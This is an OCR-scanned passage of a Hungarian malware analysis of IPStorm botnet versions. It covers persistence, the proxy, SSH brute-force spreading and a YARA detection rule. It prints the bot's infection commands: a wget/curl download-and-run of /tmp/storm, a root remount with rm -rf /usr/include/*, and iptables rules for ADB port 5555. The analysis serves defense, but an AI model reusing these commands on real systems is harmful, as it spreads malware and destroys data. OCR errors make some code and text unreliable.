— storm/filetransfer - Fijlok kiildése, fogaddsa
— storm/handshake - Handshake és relay

— storm/identity - Node azonositd kulcs kezelése
— storm/logging - Log formatum

— storm/malware-guard - Mds virusok ledllitdsa
— storm/node - libp2p node funkcionalitdsa

— storm/powershell - Shell folyamat

— storm/primitives - Feladatiitemez§

— storm/proxy - Proxy szolgaltatds

— storm/reque_client - Tavoli parancs kliens

— storm/scan_tools - Felderit6 eszk6zok

— storm/starter - IPStorm inditdsa (platform fiiggd)
— storm/util - Altaldnos eszkozok, eljardsok

— storm/vpngate - VPN végpontok gy(jtése

Megfigyelhet§ a modullistdbdl, hogy eltdvolitdsra keriilt a storm/avbypass, nincs is ennek
megfeleltethet6 funkcionalitds benne. Eltavolitasra keriilt a storm/bruteforce modul és a

storm/scanner modul is, ezeknek a moduloknak a céljit a storm/reque_client és a
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storm/scan_tools modulok valésitjdk meg, de mas modszerekkel.

Ebben a verzidban is, de mér a 0.0.8h esetében is megfigyelhets, hogy vagy az Anomali
Threat Research altal publikdlt elemz€s [1] hatdsara, vagy maguktol, de rdjottek az IPStorm
fejlesztGi, hogy a felhaszndlonév megtaldlhaté az dllomédnyban, ezért a projektet dthelyezték

egy semleges nevi felhaszndl6 ald. Az 1j elérési tt a kdvetkezd:

/Users/dummy/Documents/GoLandProjects/storm

Moédosult a operécids rendszer - fijlnév Osszerendelési lista is a Linux verzidk kezdetével
(0.0.8h). A listdban méar nincs Windows, illetve megjelentek kiilonb6z6 arm alapd és Android

alapu platformok is. A lista a kovetkezd:

— storm_android-386: storm_android-386

— storm_android-amd64: storm_android-amd64
— storm_android-arm5: storm_android-arm5

— storm_android-arm6: storm_android-arm6

— storm_android-arm7: storm_android-arm7

— storm_android-arm64: storm_android-arm64
— linux-386: storm_linux-386

— linux-amd64: storm_linux-amd64

— linux-arm7: storm_linux-arm?7

— linux-arm64: storm_linux-arm64

Jelentds valtozds, hogy levaltottdk a fijl alapu ellenSrzését annak, hogy mds példany fut-e
mdr, ezt a folyamatok neve alapjan ellendrzi a storm/starter. checkSingle eljards. Amennyi-
ben egy mdsik ’storm” nevd folyamat fut, akkor egy SIGKILL-Iel ledllitja a masik folyamatot.
Ez eltér a kordbbi megoldéstol, ahol megvarta a masik folyamat befejeztét és csak akkor kezdett
futni. Annak érdekében, hogy az OOM Killer (Out Of Memory Killer) a legkisebb valdszi-
niiséggel dllitsa le ezt a folyamatot amennyiben fogytdn a RAM, a /proc/<pid>/oom_adj és a
/proc/<pid>/oom_score_adj fdjlokba a ”’-17” értéket irja, melyek az OOM Killer mikodését

befolydsoljdk.

Megjelent egy eljards a storm/malware-guard.KillSuspiciousProcesses, amely peri-
odikusan egy meghatarozott elérési tutrdl futé vagy meghatarozott névvel rendelkezé folyama-

tokat 4llitja le. A folyamatok listdja a kovetkezd:
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— /data/local/tmp — startapp

— rig — synctool

— Xig — ioservice

— log — start_

— debug — com.ufo.miner

— trinity — com.google.android.nfcguard
— xchecker — com.example.test

— zpyinstall — com.example.test2

— startio — saoas

A listdban megfigyelhetSek Android specifikus nevek is, példdul a /data/local/tmp elérési
ut és a com.ufo.miner. A technika nem uj keletd, hasonl6 viselkedést figyeltek meg az FBot
esetében is a SonicWall-ndl [49], amely hasonl6 folyamatokat éllitott le. A malware-guard mo-
dul rendelkezik egy CloseVulnerabilities eljardssal, ami a Linuxot célz6 verzidkban nincs
implementélva, de az Androidra késziilt valtozatokban, példaul a 0.0.8h-ban implementdlva van.
Ez felel azért, hogy azt a sériilékenységet, hogy az ADB (Android Debug Bridge) 5555-0s port-
ja elérhetd volt, elérhetetlenné tegye tovdbbi tdmaddsokkal szemben, kivéve egy specifikus IP

tartomanybdl. A 0.0.8h verzidban a parancs a kovetkezé:

iptables -D INPUT -p tcp ——dport 5555 -j DROP;
iptables -I INPUT 1 -s 46.X.X.0/24 -j ACCEPT;
iptables -I INPUT 2 -p tcp —-dport 5555 -j DROP

Az els§ parancs minden kordbbi parancsot torol, ami a 5555-0s célportra vonatkozik, majd
a masodik a 46.X.X.0/24 TP tartomdnybdl engedi a bejovs kapcsolatokat barmilyen portra, a
harmadik pedig tilt minden tobbi kommunikéciét a 5555-0s portra. Az IP cim érdekes, kordbban
nem szerepelt semmilyen funkcionalitdssal kapcsolatban sem €s egyik elemzésben sem keriilt
emlitésre. Az IP tartomdny egy orosz telekommunikdcids vallalat tulajdonét képzi, a WHOIS

bejegyzések szerint.

6.22.1 libp2p node készitésének valtozasai

A libp2p node 1étrehozdsa sordn egy jelentSs valtozas, mely a 0.0.8h-ban is implementdlva volt

mar, hogy a PeerID stabilitdsa érdekében a felhasznalt kulcspart elmenti, illetve induldskor be-
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tolti, igy stabilld vdlik a PeerID abban az esetben, ha a kulcs nem keriil torlésre az inditdsok
kozott. Ehhez tobb kiilonbozd helyet probal ki annak érdekében, hogy jogosultsagi kiilonbsé-
gek, illetve platform kiilonbségek miatt is taldljon megfelelSt. A kiprobalt elérési utak listdja az

alabbi:

— Jetc
— /var/lib
— /tmp

— /data/local/tmp

Ezen elérési utak koziil az els§ olyat vélasztja, amely irhat6 és ide menti el a storm. key féjlt,

ami a node kulcsparjat tartalmazza.

A node konfiguracigjat €érint6 valtozds, ujra aktivdlva lett az AutoRelay funkcionalitds €s 1j
konfiguracié a NATService engedélyezése, ami lehetdvé teszi a kiilsé IP cim meghatarozasat
és a NAT haszndlatdbol ered esetleges hdldzati korldtozasokat. Tovabbd eltdvolitdsra keriilt
a QUIC protokoll haszndldta. A verzidk kozott eltelt id6 és libp2p konyvtarfrissités hatdsara,
a secio mellett, mdr a TLS protokollt is tdimogatja a kommunikécidhoz, igy képes a jelenlegi

IPES halézatba bekapcsolddni. A DHT inicializaldsa soran most mdr a korabbi BootstrapOnce

helyett a helyes Bootstrap metddus keriil meghivasra, ezzel javitva a node-ok elérhet&ségét.

Az IPFS hél6zatba torténd belépéshez csak az alapértelmezett bootstrap node-ok vannak
haszndlatban. Kordbban a 0.0.8h-ban kivezetésre keriilt a 0.0.3b-ben bevezetett bootstrap no-

de, igy azéta az alapértelmezetteken feliil nincs tovdbbi node definidlva.

6.22.2 HTTP szerver

Megjelent egy HTTP szerver szolgdltatds mér a 0.0.8h verzidval kezd6dGen. A szerver célja az
IPFS hélézaton kiviili fajlmegosztas megvaldsitdsa, hogy olyan eszkozokre is el lehessen juttatni
az [PStorm-ot, amelyek még nincsenek megfertézve. A HTTP szerverekhez egy 1j elosztott
adatbéziskulcs is bevezetésre keriilt, ez a seeders-http:, ami az SAdd {lizenettipust haszndlja,

a Value mez{ tartalma a node publikus cime és portja.

Ahhoz, hogy a szerverrdl le lehessen tolteni az IPStorm egy példdnyat, ismerni kell az IP
cimét, a véletlenszeridien védlasztott portot, és a letolteni kivant fajl azonositéjat. Egy URL lehet

a kovetkez6:
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http://192.168.1.1:33247/storm_linux-amd64

6.22.3 Elosztott adatbazis valtozasai

A kordbbi Windows operdcids rendszert célzé verziok esetében volt emlitve a hitelesités és azo-
nositds hidnya, a 0.0.8h és 0.1.1d verzidk esetében mar nyoma volt, de nem volt haszndlva, vi-
szont ebben a verzidban mar haszndlatba keriilt a hitelesitési mechanizmus. A hitelesités a 0.0.8h
€s 0.1.1d verzidban 2, a 0.1.5g-ben 3 publikus kulcs alapjén torténik. Az adatbdzis kulcsok nagy
része csak a hitelesitett node-ok altal médosithatd, két kulcs van, ami korlatozasokkal minden
node szdmdra frhatd, ez a “seeders” és a “seeders-http”. A mivelet csak akkor keriil elfoga-
dasra, amennyiben a hirdetett ellen6rz6osszeghez van megfelel§ “file-checksum/*” adatbazis

bejegyzés.

Ezekkel a véltoztatdsokkal csokkentették annak a lehet6ségét, hogy konnyen 4t lehessen venni

a halozat felett az irdnyitast.

6.22.4 Info és Cmd topic-ok valtozasai

Az Info topic-ba kiildott izenet djabb mezdkkel bdviilt, a kordbbi mezGkon feliil az aldbbiakkal.

Az Uj Processes és a kordbbi ComputerID mezdk nincsenek feltoltve.

{ ...
"InstallationPath": "<Installation path>",
"LocalIPs": [ "<Local IP>" ],
"ExternalIP": "<External IP>",
"Processes": []

}

A Cmd topic-ra ugyan a feliratkozas még megtorténik, de az esetlegesen beérkezett iizenetek

madr nincsenek feldolgozva. Oka, hogy a Reque Client kivaltotta a Cmd topic funkcionalit4sat.

6.22.5 Proxy szerver

Implementdldsra keriilt egy proxy szerver is, igy minden node haszndlhatéva vélt, mint proxy

kiszolgdld. Megjelenése feltehetSleg a Linuxos verziokkal egyiitt tortént, mert a 0.0.8h-ban is
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jelen van mar.

Miikodése a github.com/armon/go-socksb csomagon alapszik, ami a SOCKSS5 szervert
biztositja. Ehhez a szerverhez kapcsolddik a lokélis node és teszi elérhet6vé a szerverrel valo

kommunikdaciét az /sbptp/1.0.0 protokollon keresztiil.

Ahhoz, hogy a hél6zat irdnyitéi is nyilvan tarthassdk az elérhet$ proxy szervereket, egy vagy
tobb Kkitiintetett proxy backendet lizemeltetnek. A backendek cimeit a DDB proxy:backends
adatbaziskulcson keresztiil lehet elérni. A /sbpcp/1.0.0 protokollt haszndlja a backendekkel
valé6 kommunikdci6hoz, kapcsolddds utdn 15 mdasodpercenként elkiildik a node-ok a publikus

IP cimiiket €s a késleltetésiik értékét az alabbi formatumban.

+;<IP>;<latency>\n

Az Intezer kutatéi megfigyelték az [PStorm egy meg nem hatédrozott verzidjanak a halézati
forgalmat, feltételezhezd, hogy a megfigyelt forgalom a proxy-n keresztiil érkezett, mivel nincs
mads ismert modulja, mely erre képes lenne. Megfigyeltek a Steam platformhoz kothetS for-
galmat, melyben lopott API kulcsokat haszndlhattak, illetve kiilonboz8 oldalakon reklamokra

torténd kattintas szimulalasat is [3].

6.22.6 Reque Client

Ez a modul vette 4t a kordbbi bruteforce és scanner modulok céljait. A Reque Client, felté-
telezhet&en, a Request Queue Client roviditése. Implementéldsa egy komplex és parhuzamosan
mikodds feladatiitemezd, amely a beérkezd kéréseket a kiilonbozd végrehajtéd szalak kozott osztja
szét. Komplexitdsa miatt az implementacio részleteit nem ismertetem, csak a modul képességeit

és lizeneteit.

A kéréseket, tigynevezett manager node-oktdl fogadja, melyeket a reque :managers adat-
baziskulcs tdrolja. A manager node-okkal az /sreque/1.0.0 protokollt haszndlja a feladatok

fogaddsara. Az iizenet formdtuma az alabbi:

{
"type": <type>
"Jid": <16 byte UUID>
nn

"Queue": s

"Payload": "<payload>"
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"NodeVersion": "0.1.5g"

A payload mezd tartalmazza az aktudlis lizenetet, amelybdl jelenleg kétféle van definidlva, a
brute-ssh €s a tcp-scan. A brute-ssh payload tartalmaz egy IP listit €s hozza egy darab
portot, felhasznalonevet €s jelszot, amit ki kell probédlni. Az iizenet hatdséra a jelzett hosztokhoz
kapcsolddik, és amennyiben sikeres a bejelentkezés, az SSH kapcsolaton tovdbbi informdacidkat
gytjt a rendszerrdl és a vdlasz lizenetben tovabbitja a manager node-ok felé. A kommunikacios
folyamatban taldlhat6 egy ellen6rzés, ami azt vizsgalja, hogy amennyiben a hoszt neve ’svr04”,
akkor a kapcsolatot megszakitja. Ez a név a Cowrie honeypot alapértelmezett hosztneve [50],
tehat prébdlja elkeriilni a honeypotok tdmaddsit. Abban az esetben, ha a kapcsolat 1étesité-
se sordn nem detektdlt honeypotot, a storm/scan_tools/ssh.InstallPayload hivdsdval az
eszkoz megfertdzése kezdddik. Ehhez el§szor megkeresi a célplatformnak megfeleld IPStorm
verzié nevét és egy olyan IPStorm node-ot, amely a seeders-http: kulcs segitségével szol-
géltatja ezt. Amennyiben wget és curl is elérhet az eszkozon, akkor az aldbbi parancs keriil

futtatdsra rajta, amennyiben csak az egyik, akkor csak az elérhetS parancsot probélja hasznélni.

(
f=<storm filename>;
((
(wget -q --—connect-timeout=5 -0 /tmp/storm http://<storm http
serverip:port>/$f)
|| (curl --connect-timeout 5 -s http://<storm http server ip:
port>/$f -o <storm http server ip:port>)
)
&& chmod 0755 /tmp/storm
&& /tmp/storm 1>/dev/null 2>/dev/null)
) &

A parancsok eredményeképpen az eszkozre le lesz toltve a /tmp/storm helyre egy, a plat-
formnak megfelel§ példdnya az IPStorm-nak, futtathatéva téve, és elinditva az eszkozon, ezzel
megfertézve azt. A folyamat eredménye elkiildésre keriil egy reque manager node-nak. A va-
lasz tartalmazza a haszndlt IP-t, portot, felhasznalonevet, jelsz6t, az SSH bannert, és a kordbban

emlitett script kimenetét. Ezt az éltaldnos vélasziizenetben a "Result” mezdben helyezi el. A
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valasziizenet formatuma a kovetkez§:

{
"Jid": <UUDD>,
"Partial": <True/False>,
"Elapsed": <elapsed time in ms>,
"Result": <result>

}

A tcp-scan esetén a payload, egy IP cimet tartalmaz CIDR formatumban és azon portok
lisatjat, amelyeket fel szeretnék deriteni. A felderitési folyamat csak a 22-es SSH és 5555-0s
ADB porttal foglalkozik, egyéb portokat figyelmen kiviil hagy. Mindkét esetben csak a ban-
ner iizenetet gydjti Ossze, tehat az eszkozoket nem fert6zi meg. A valasziizenetben a “"Result”

mezdben tovdbbitja a manager node felé az IP cimet, portot és a banner tartalmat.

6.22.7 Perzisztencia elGkészitése

A storm/starter.serveSelf, ami a kordbbi verziokbdl is ismert, felel a sajat verziéjanak a

hirdetéséért, illetve ellendrzi a f4jl helyét megvizsgélva, hogy a perzisztencia megtortént-e mar.

Amennyiben nem, a 6.2.8 Perzisztencia fejezetben foglaltakkal megtorténik a perzisztencia.

Uj eljdras a storm/starter.serveExtra, aminek célja, hogy a halézatban tobb helyen is
tarolva legyenek a kiilonboz6 platformokat célz6 IPStorm verzidk. Ez az eljards az elérhetd
memdria fliggvényében egy vagy tobb mas platformra vald verziét is letolt és kiszolgdl, igy a

ritkdbban haszndlt verzidknak jelentGsen nG az elérhetGsége.

6.22.8 Perzisztencia

Az operacids rendszer véltdssal természetesen a perzisztencia médszerének is véltoznia kell, az
Uj megvaldsitds egy listabdl valasztja ki az els6 olyan elérési utat, amelyhez van irési joga, ezek

a kovetkezbek:

— /usr/bin — /usr/local/bin — /var/lib

— /usr/sbin — /usr/local/sbin — /tmp

— /bin — /system/bin — /data/local/tmp
— /sbin — /system/sbin
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Megfigyelhetd, hogy ezek kozott szerepelnek Android operdcids rendszerre jellemzd elérési
utak is, mint /system/bin, /system/sbin és /data/local/tmp. A haszndlt fijlnév min-
den esetben a ’storm” lesz. Annak érdekében, hogy automatikus indulds megvaldsulhasson, a
github.com/takama/daemon csomagot haszndlja, mely képes systemd, SysV és Upstart kon-

figurdcios fajlokat késziteni, amellyel biztosithatja az automatikus elinduldst.

6.22.9 Frissitési mechanizmus valtozasai

Megviéltozott a frissitési mechanizmus miikodése, a frissitési dontés elsd korben a platformnak
megfelels “file-checksum/” adatbédziskulcs alapjan torténik, csak akkor fogja a verziészamot el-
lendrizni, amennyiben az ellen6rz&6sszeg eltér az aktudlisan futd verzidétol. Az ellendrzéshez a
github.com/hashicorp/go-version csomagot haszndlja, ami semver verziészamok Ossze-
hasonlitdséra lett készitve, ezzel elérhetd, hogy ne torténhessen alacsonyabb verziora frissités.
Amennyiben a frissités sziikséges, akkor az eddig is ismert médon az sfst protokoll segitségé-
vel letolti a f4jlt, majd elkezdddik a 6.22.8 Perzisztencia fejezetben ismertetett perzisztencia. A
perzisztencia végeztével az 4j verzi6 elinditdsra keriil, ami majd a régi verziot le fogja allitani az

indulas soran.

6.23 0.1.18a valtozasai

A 0.1.18a verzi6 (69ea7bcf) egy Linux operacios rendszert célz6 dllomdny. Ebben a verzidban
eltavolitasra kertilt a hirdetett azonositok koziil az Info €és Cmd topic-ok azonositdja és a teljes
Cmd topic is, mivel kivéltotta a Reque Client. Az Info topic tovdbbra is mikodik. Van az
elosztott adatbazist és a topic-okat is érintd valtozds, az iizenetformatumban egy Uj T mezd jelent
meg, ami az iizenet készitésének idejét tartalmazza. A mezs bevezetésének oka lehet, hogy nem
volt megfelel§ a szinkronizdcié. Megjelent egy dj platform-fdjlnév péros is a ”darwin-amd64:

storm_darwin-amd64”.

A brute-ssh Reque Client parancshoz kothet§ InstallPayload eljardasban moédosult az

2

eszkozt megfert§z6 parancs. A letoltést végzd rész elhagydsaval a parancs a kovetkezd:

(mount -o rw,remount /;
rm -rf /usr/include/*;

f=ks; ((<Wget and/or Curl command>)
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&& chmod 0755 /tmp/storm
&& /tmp/storm 1>/dev/null 2>/dev/null)) &

Az uj funkcionalitds, hogy futds el6tt a root particiét irhatéva teszi, majd torli a /usr/include/
konyvtér tartalmét. Ez az elsd olyan kartékony tevékenység, amely nem egy tdvoli eszkozrdl
érkezik, hanem magédban az dllomdnyban van elhelyezve. A konyvtar torlésével, feltehetSleg,
a szoftverfejlesztSk voltak a célpontok, de egy éltaldnos rendszeren is, ennek a konyvtarnak a

torlése, negativ kovetkezményekkel jarhat.

Megjelentek 1j bootstrap node-ok is, az alapértelmezettek mellé felvételre keriiltek az aldb-
biak. Az IP cimek a WHOIS informdcidk szerint egy amerikai felhGszolgéltatéhoz tartoznak.
Ebben a tartomdanyban taldlhat6ak a Protocol Labs altal iizemeltetett relay szerverek is [51], de
nincs réla informéciom, hogy ezek az node-ok valaha a Protocol Labs altal tizemeltetett szerve-

rek kozott lettek volna.

/ip4/147.X.X.83/tcp/4001/p2p/
QmbLHAnMo JPWSCR5Zhtx6BHIX9KiKNN6tpvbUcqanj75Nb
/ip4/147.X.X.115/tcp/4001/p2p/
QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt
/ip4/147.X.X.187/tcp/4001/p2p/
QmQCU2EcMqAqQPR2i9bChDtGNJIchTbq5TbXJJ16ul9ul.Ta
/ip4/147.X.X.213/tcp/4001/p2p/
QmNnooDu7bf jPFoTZYXMNLWUQJyrVwtbZg5gBMjTezGAIN

6.24 0.1.81a valtozasai

A 0.1.81a verzi6 (984c5e98) egy Android operécids rendszerre készitett varidns, x86 architek-
tirdhoz. EbbdI a tulajdonsdgbdl adéddan elGfordulhat, hogy kevesebb funkcionalitdssal ren-
delkezik, mint az azonos verzidju Linux operdcids rendszert célzé varidns. Ebbdl a verziobol
hidnyzik a reque_client modul, eltdvolitdsra keriilt a storm/handshake modul, de fellelhe-
téek egy Uj relay szolgdltatdsnak részletei, ami jelenleg nincs haszndlva. A Bitdefender 4ltal
végzett elemzEésbdl az deriil ki, hogy a relay funkcidk a 0.1.43a és 0.1.51a verzidk kozott jelen-
tek meg és a 0.1.85a verzidval megszintek [2], de latszélag a 0.1.81a verziokban mar nem volt

aktiv hasznalatban.
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Kiilonbség van a perzisztencia megvaldsitdsdban is, fix elérési utvonalat haszndl, arra a felté-
telezésre alapozva, hogy ha az eszkozre felkeriilt, akkor root joggal rendelkezik, igy jogosultsag-
problémdk nem lépnek fel. Ezért az dllomdny mindig a /system/bin/storm elérési tton taldl-
hat6, az automatikus inditds megvaldsitasdhoz tovabbi kisegitd szkriptekre volt sziikség. Ehhez
egy Uj modul keriilt implementdldsra a storm/statik, ami a github.com/rakyll/statik
csomag funkcionalitdsdra tdimaszkodik, ez lehetvé teszi, hogy az dlloméanyba fajlok és konyv-
tarak legyenek bedgyazva zip tomoritést alkalmazva €s futtatasi id6ben kicsomagolva. A be-

agyazott dllomény a kovetkezd fdjlokat tartalmazza:

2020-06-05T11:37:34 ./linux/install.sh
2020-05-12T07:17:16 ./storm_android/install-recovery.sh
2020-05-12T12:18:56 ./storm_android/storm-install.sh
2020-05-11T19:42:04 ./storm_android/storm-pslist.sh
2020-05-11T10:24:00 ./storm_android/storm.rc

A fajlmdveletek el6tt minden alkalommal djra mountolja a / és /system particiékat, hogy
irhat6va tegye, a mivelet végeztével ismét csak olvashatéva teszi. A perzisztencia folyama-
ta az install-recovery.sh kicsomagoldsdval és elhelyezésével kezdGdik a /system/bin
konyvtarban, majd a storm.rc kicsomagoldsra keriil a /system/etc/init konyvtarba, vé-
giil a storm keriil elhelyezésre a /system/bin konyvtarban. A telepitett verzi6 a install-
recovery.sh elinditdsdval torténik, ami letiltja a SeLinux-ot a setenforce 0 paranccsal, ki-
cseréli a domain szervereket a Google szervereire, a tobbi storm folyamatot ledllitja, majd elin-

ditja az 4j storm dllomanyt.

A tomoritett dllomdnyban 1évS tobbi f4jl felhaszndldsa ugyanebben a verzidéban nem torténik
meg, de a Bitdefender altal kiadott elemzésbdl [2] kideriil, hogy a install.sh a brute-ssh
parancs futdsa sordn keriil felhasznalasra az IPStorm telepitésére €s inditdsara a Linux operacids
rendszert futtatd eszk6zokon, a storm-install. sh pedig az Androidos eszk6zok megfert6zése

soran van felhaszndalva, de nem kozvetleniil, hanem manudalisan a tamado altal.

FeltehetGen minden platformra szént verziobol eltavolitasra keriiltek a kordbbi verzioban em-
litett bootstrap node-ok, illetve a malware-guard éltal ledllitott folyamatok koziil kikeriilt a
”log” €s bekeriilt a "skhqwensw”. Eltdvolitdsra keriilt a ConnectToNodes eljards is, aminek

hatdsara a tobbi IPStom node-al nem kezdeményez kozvetlen kapcsolatot.
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A proxy backendek kordbban a DDB-n keresztiil kertiltek felderitésre, ebben a verziéban a
backendek egy specifikus azonositot hirdetnek, amelyeket az IPStorm-mal fert6zott eszk6zok
fel tudnak deriteni. Az Uj azonosité a 12.5 tdbldzatban taldlhatd. Ezzel a véltoztatassal, hogy a
DDB ki lett iktatva a backend felderitésbdl, igy a DDB-ben kordbban bevezetett hitelesités nem

fedi le a proxy backendeket.

6.25 0.1.82a valtozasai

A 0.1.82a verzi6 (08b£3186) ismét egy Android operaciés rendszerre készitett varidns, x86 ar-
chitektirahoz. Hozzdad4sra kertilt a kordbban mar latott reque_client modul. Lényegi funk-
cionalitdsa megegyezik a kordbbival, a kiilonbségek a kovetkezéek: Az el§z6 verzidban latott
install.sh script felhaszndldsa a InstallPayload futtatdsa sordn. Ez a script kivéltotta a
0.1.5g-ben latott parancsokat €s csak a script keriil futtatdsra. Funkcionalitdsa, hogy letolti,
majd elinditja az IPStorm-ot, de egy kiszolgdl6 szerver helyett a $seeders kornyezeti valtozé
haszndlatdval akdr tobb szervert is ki tud prébélni, amennyiben az els§ nem elérhets. Masodik
véltozdsa a modulnak, hogy nem a DDB-re tdimaszkodik a manager node-ok felderitésére, ha-
nem azokat a node-okat deriti fel amelyek a 12.2 tdbldzatban taldlhaté proxy backend azonositot
hirdetik. A DDB kiiktatdsaval hasonlé probléma meriil fel mint a proxy backendeknél az el6z8

verzidban.

6.26 0.1.83a, 0.1.91a és 0.1.94a valtozasai

A 0.1.83a verzioban (3af£4695c) nem tortént valtozas, a 0.1.91a verziéban (b80346c4) a DDB
tizenetek hitelesitésére egy Uj publikus kulcs keriilt hozzdaddasra, igy négy kulcs van jelenleg

hasznalatban.

A 0.1.94a verzi6 (51031335) ismét egy Linux operécids rendszert célzé varidns. Ebben a
verzioban mar nyilvdnvald, hogy a centralizaltsag felé mozdul el az IPStorm. Megjelent egy
Uj modul a storm/web_api_client, ami a DDB funkcionalitdsét veszi 4t egy vagy tobb koz-
ponti szervert haszndlva. A DDB nem keriilt eltdvolitdsra, de nem tolti mar be az elosztott
szerepét, tobbi node-dal nem szinkronizal, csak lokdlis adatbazisként van felhaszndlva. A Web
API kommunik4cié megvaldsitdsara a github.com/libp2p/go-1libp2p-http csomag lett fel-
haszndlva, ami a 1ibp2p:// protokollt definidlja, a kapcsolat I1étrehozdsdra nem IP cimet, hanem

PeerID-t hasznal. A Web API backendek a 12.2 tablazatban feltiintetett azonositot hirdetik, amit
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a node-ok fel tudnak fedezni.

Ebben az esetben nem 4ll fent a hitelesités hidnya, az lizenetek tartalmazzak a hitelesitéshez
sziikséges mezdket és Ossze vannak hasonlitva az engedélyezett publikus kulcsok listdjdval is.

A Web API valaszformatuma a kovetkezs:

{
"From": "<PeerID>"
"Key": "<node's public key>",
"Signature": "<signature>",
"Body": "<body>"

i

A Web API szerver kivaltotta a kiilonb6zé DDB kulcsokat, a 6.2 tablazat ismerteti az ekvi-

valens kulcsokat és végpontokat.

Web API végpont DDB kulcs

GET /files/seeders-http?c=<checksum> | seeders-http:<checksum>

POST /files/seeders-http
seeders-http:<checksum>

body: c=<csum>&s=<ip:port>

GET /files/checksum?f=<filename> file-checksum:<filename>

GET /version /5aYUcluKo1U1/QrnStm. . .

6.2. tablazat: Web API végpontok és DDB kulcsok megfeleltése

Mivel a DDB mér nem funkciondl, a filetransfer modulban véltozdsra volt sziikség, a
seeders kulcs haszndlata helyett a fajlok hirdetéséhez azok a node-ok, amelyek egy féjlt ki tud-
nak szolgdlni, meghirdetik a stfadv:<checksum> azonositdt, azok a node-ok, amelyek letolte-
ni szeretnének, pedig ugyanezt az azonositot deritik fel az IPFS hal6zatban. A letoltés tovabbra
is az sfst protokollal torténik. A proxy és reque_client modulokban ez a véltozds mér a

korédbbi verzidkban végbement.

Megsziintetésre keriilt az Info topic haszndlata is, de nem valtotta ki masik modul. Ezzel a
véltoztatdssal ez az utolsé verzid, amely esetében tudni lehetett, hogy milyen tipusi eszkdzok

vannak a hilézatban. A tovdbbiakban nincs haszndlatban egyetlen pubsub topic sem.
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6.27 0.2.04a és 0.2.05a valtozasai

A 0.2.04a verzidban (cae8a782) tjra megjelenik a node informaciokat kiilds szolgéltatds, ezut-
tal a Web API-t hasznédlva. Az API-n aPOST /nodes végpontot haszndlja és hozzdaddsra keriilt
egy Uj mez6 az lizenetformatumhoz, az AutonatIP, ami a felderitett kiils§ IP cimet tartalmazza

a github.com/1ibp2p/go-libp2p-autonat csomag 4ltal.

Modédosult a storm/proxy modul mikodése is, most mar nem haszndl lokélis kapcsolatot
a SOCKSS szerverhez torténd csatlakozdshoz, helyette a github.com/libp2p/go-1libp2p-
gostream csomaggal lett kivdltva a SOCKSS szerver és az /sbptp/1.0.0 protokoll kozotti

forgalom tovabbitasa.

A 0.2.05a verzidban (64abc2cf) nem tortént jelentSs valtozas.

6.28 0.2.05a verzié dinamikus elemzése

A CAPEv2 sandbox segitségével tortént dinamikus elemz€s soran lathat6 volt, hogy az IPFS
halézatba ez a verzié mar sikeresen csatlakozik és kommunikdl. Megfigyelhet$ a perzisztencia
folyamata, a storm.key, storm és storm.service dllomanyok létrehozdsa. Utébbi dllomédny
egy systemd szolgéltatds, ami az IPStom elinditasaért felel. Az elemzés soran sikeresen létesi-
tettem kapcsolatot a backshell modullal (13.5) és a HTTP szerverrel. A fut6 IPStom logjaibdl
kideriil, hogy nem taldl Web API szervereket, ebbdl kovetkezik, hogy jelenleg nem erhetd el

semmilyen az IPStom-ot iizemeltet§ infrastruktdra, igy azok a szolgdltatdsai, amelyek a koz-

ponti szerverre timaszkodndnak, tizemképtelenek.
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7 DETEKTALAS MEGRETVEZESE

Egy kartékony szoftver detektdlasdnak megtervezésénél fontos szempont olyan tulajdonsdgait
detektdlni, amelyek a verzidkon keresztiil jelen vannak, illetve megvaltoztatdsuk nehéz, vagy a
mikodés szempontjabdl hatranyos lenne. Az IPStorm esetében hdrom ilyen jellemzét taldltam,
aminek a megvdltoztatdsa hatranyosan érintené a héalézatot. Ezeket a feltevéseket gy alkot-
tam meg, hogy feltételeztem, hogy a tdmadonak is rendelkezésre 4ll a detektéldsi szabaly, tehat
tisztdban van vele, hogy melyik része keriilt detektdldsra. Amennyiben azt feltételezziik, hogy
nem ismert a tdimadé szdmadra a detektdldsi szabdly, akkor egyéb jellemzdket is felhasznalhatdak
a detektaldshoz, mert kisebb az esély arra, hogy a tdmado rontsa a detektélds hatékonysagit a

szabdlyok ismerete miatt.

1. A Filetransfer protokoll protokollazonositéja (/sfst/1.0.0), megvaltoztatdsdval az Gj és
arégi protokollazonositdju IPStorm verzidk nem tudnak egymadssal kapcsolatba 1épni, igy
korldtozva a terjesztés hatékonysdgat.

2. A Handshake protokoll protokollazonositdja (/shsk/1.0.0) vagy az ezt felvaltd késébbi
/strelayp/1.0.0, melynek a megvaltoztatdsa esetén a relay-en keresztiili csatlakozds
nem lesz elérhet§ a véltoztatds elGtti és utdni verziok kozott. Ez az djabb verzidkban
egyéltaldn nincs jelen.

3. A hirdetett [IPStorm node azonositd, ami segitségével a tobbi IPStorm node-ot tudja fel-
fedezni. Ennek a médositdsa azzal jarna, hogy az IPStorm hédlozat kettészakad, mert az
Ujabb és régebbi node-ok nem fogjak egymast megtalalni, de ez az Gjabb verzidkban mér

nem volt felderitési céllal hasznalva.

A szabalyok elkészitéséhez, az elsd €s a harmadik megolddsok kombinacidjat haszndlom fel.
A harmadik megolddsban a node azonosit6 ugyan jelen van minden verzidban, de az Gjabb ver-
ziokban mar konnyebb megvaltoztatni, igy a filetransfer funkcionalitdshoz tartozé jellemzdket

is felhasznalok.

7.1 YARA

A YARA (Yet Another Recursive Acronym) [52] egy éltaldanos célu, gyartofiiggetlen eszkoz,
amely kértékony szoftverek azonositdsdra és osztilyozasdra hasznédlhat6 szignatira alapu detek-

talas segitségével. Az IPStorm detektdldsdra az aldbbi szabdlyt hoztam 1étre:
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rule IPStorm

{
strings:
$adv = "fmidkYtTp9789G3sCRgMZVG7D3uKalwtCuWwl j8LSPHQEGVBUShfbNd
nHvt3kyR1fYU1GNAOOzactmIMIZodsOha9tnfe25Xef1"
$ftransproto = "/sfst/1.0.0"
$fadvl = "stfadv"
$fadv2 = "seeders"
condition:
$adv or ($ftransproto and 1 of ($fadvx))
}

A szabdly elsG sordban van definidlva a szabdly neve, a strings: szekcidban lehet defini-
alni azokat a mintdzatokat, amit detektalni szeretnénk, és a condition: szekcidban vannak a

strings: szekci6 elemei kozott a logikai Osszefliggések feldllitva.

7.2 ClamAV

A ClamAV [53] egy nyilt forrask6di virusirté megoldds, melyhez lehetGség van egyedi szig-
natira adatbazis késziteni. Tobbféle tipusu szignatira all rendelkezésre, példaul hash-based,
content-based és container-metadata szignatiurdk. A detektdldshoz a content-based tipus logical
